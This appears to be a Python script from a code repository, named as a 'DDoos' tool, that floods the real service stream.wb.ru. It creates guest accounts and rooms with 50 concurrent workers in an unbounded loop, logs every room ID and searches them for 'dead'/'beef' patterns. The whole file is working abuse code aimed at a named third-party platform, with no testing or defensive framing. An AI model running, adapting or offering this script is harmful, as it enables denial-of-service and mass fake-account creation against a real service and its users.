Files
olcrtc/code/secretny_ddoos.py
2026-05-03 16:28:38 +03:00

155 lines
4.3 KiB
Python
Executable File

#!/usr/bin/env python3
import asyncio
import re
import time
import requests
API_BASE = "https://stream.wb.ru"
OUTPUT_FILE = "/tmp/ti_ymresh_ot_spida.txt"
HITS_FILE = "/tmp/ti_ymresh_v_mukah.txt"
PATTERNS = [
re.compile(r"dead", re.IGNORECASE),
re.compile(r"beef", re.IGNORECASE),
re.compile(r"deadbeef", re.IGNORECASE),
]
CONCURRENCY = 50
TOTAL_ATTEMPTS = 0
PRINT_EVERY = 100
def _create_room_sync(idx: int) -> str | None:
headers = {
"User-Agent": "Mozilla/5.0 (Linux x86_64)",
"Content-Type": "application/json",
}
try:
reg = requests.post(
f"{API_BASE}/auth/api/v1/auth/user/guest-register",
json={
"displayName": f"OlcRTC-DDoos-{idx}",
"device": {
"deviceName": "Linux",
"deviceType": "PARTICIPANT_DEVICE_TYPE_WEB_DESKTOP",
},
},
headers=headers,
timeout=15,
)
reg.raise_for_status()
headers["Authorization"] = f"Bearer {reg.json()['accessToken']}"
room_req = requests.post(
f"{API_BASE}/api-room/api/v2/room",
json={
"roomType": "ROOM_TYPE_ALL_ON_SCREEN",
"roomPrivacy": "ROOM_PRIVACY_FREE",
},
headers=headers,
timeout=15,
)
room_req.raise_for_status()
return room_req.json()["roomId"]
except Exception:
return None
def _check_hit(room_id: str) -> str | None:
best = None
for p in PATTERNS:
if p.search(room_id):
if p.pattern.lower() == "deadbeef":
return "DEADBEEF-JP"
best = p.pattern
return best
class Stats:
__slots__ = ("attempts", "ok", "fail", "hits", "started")
def __init__(self) -> None:
self.attempts = 0
self.ok = 0
self.fail = 0
self.hits = 0
self.started = time.time()
async def worker(sem: asyncio.Semaphore, stats: Stats, idx: int) -> None:
async with sem:
loop = asyncio.get_running_loop()
room_id = await loop.run_in_executor(None, _create_room_sync, idx)
stats.attempts += 1
if not room_id:
stats.fail += 1
else:
stats.ok += 1
with open(OUTPUT_FILE, "a", encoding="utf-8") as f:
f.write(room_id + "\n")
hit = _check_hit(room_id)
if hit:
stats.hits += 1
line = f"[{hit}] {room_id}"
print(f"\n!!! HIT !!! {line}\n")
with open(HITS_FILE, "a", encoding="utf-8") as f:
f.write(line + "\n")
if stats.attempts % PRINT_EVERY == 0:
elapsed = time.time() - stats.started
rps = stats.attempts / elapsed if elapsed else 0
print(
f"[{stats.attempts}] ok={stats.ok} fail={stats.fail} "
f"hits={stats.hits} rps={rps:.1f}"
)
async def main() -> None:
print("--- imba: DEADBEEF ---")
print(f"all room -> {OUTPUT_FILE}")
print(f"heat dead/beef-> {HITS_FILE}")
print(f"parralel : {CONCURRENCY}")
print(f"limit : {'' if TOTAL_ATTEMPTS == 0 else TOTAL_ATTEMPTS}")
print()
sem = asyncio.Semaphore(CONCURRENCY)
stats = Stats()
idx = 0
try:
if TOTAL_ATTEMPTS > 0:
tasks = [
asyncio.create_task(worker(sem, stats, i))
for i in range(1, TOTAL_ATTEMPTS + 1)
]
await asyncio.gather(*tasks)
else:
running: set[asyncio.Task] = set()
while True:
while len(running) < CONCURRENCY * 2:
idx += 1
running.add(asyncio.create_task(worker(sem, stats, idx)))
done, running = await asyncio.wait(
running, return_when=asyncio.FIRST_COMPLETED
)
except KeyboardInterrupt:
pass
finally:
elapsed = time.time() - stats.started
print("\n--- ITOGY ---")
print(f"runs : {stats.attempts}")
print(f"OK : {stats.ok}")
print(f"FAIL : {stats.fail}")
print(f"heatS : {stats.hits}")
print(f"timw : {elapsed:.1f}s")
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
pass